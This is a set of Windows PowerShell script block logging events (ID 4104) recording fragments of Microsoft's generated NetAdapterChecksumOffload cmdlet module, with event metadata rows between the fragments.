[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IpIPv4')) {
[object]$__cmdletization_value = ${IpIPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('TcpIPv4')) {
[object]$__cmdletization_value = ${TcpIPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('TcpIPv6')) {
[object]$__cmdletization_value = ${TcpIPv6}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('UdpIPv4')) {
[object]$__cmdletization_value = ${UdpIPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('UdpIPv6')) {
[object]$__cmdletization_value = ${UdpIPv6}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterChecksumOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterChecksumOffload' -Alias '*'
ScriptBlock ID: 911d7b9d-0e35-4a0f-8fdb-03390f07299b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1917 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-82fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
_cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IpIPv4')) {
[object]$__cmdletization_value = ${IpIPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('TcpIPv4')) {
[object]$__cmdletization_value = ${TcpIPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('TcpIPv6')) {
[object]$__cmdletization_value = ${TcpIPv6}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('UdpIPv4')) {
[object]$__cmdletization_value = ${UdpIPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('UdpIPv6')) {
[object]$__cmdletization_value = ${UdpIPv6}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterChecksumOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterChecksumOffload' -Alias '*'
function Disable-NetAdapterChecksumOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterChecksumOffloadSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IpIPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${TcpIPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${TcpIPv6},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${UdpIPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${UdpIPv6},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
ScriptBlock ID: 911d7b9d-0e35-4a0f-8fdb-03390f07299b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1916 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-82fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IpIPv4Enabled')) {
[object]$__cmdletization_value = ${IpIPv4Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IpIPv4Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IpIPv4Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('TcpIPv4Enabled')) {
[object]$__cmdletization_value = ${TcpIPv4Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv4Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv4Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('TcpIPv6Enabled')) {
[object]$__cmdletization_value = ${TcpIPv6Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv6Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv6Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('UdpIPv4Enabled')) {
[object]$__cmdletization_value = ${UdpIPv4Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv4Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv4Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('UdpIPv6Enabled')) {
[object]$__cmdletization_value = ${UdpIPv6Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv6Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv6Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterChecksumOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterChecksumOffload' -Alias '*'
function Enable-NetAdapterChecksumOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterChecksumOffloadSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IpIPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${TcpIPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${TcpIPv6},
[Parameter(ParameterSetName='ByName')]
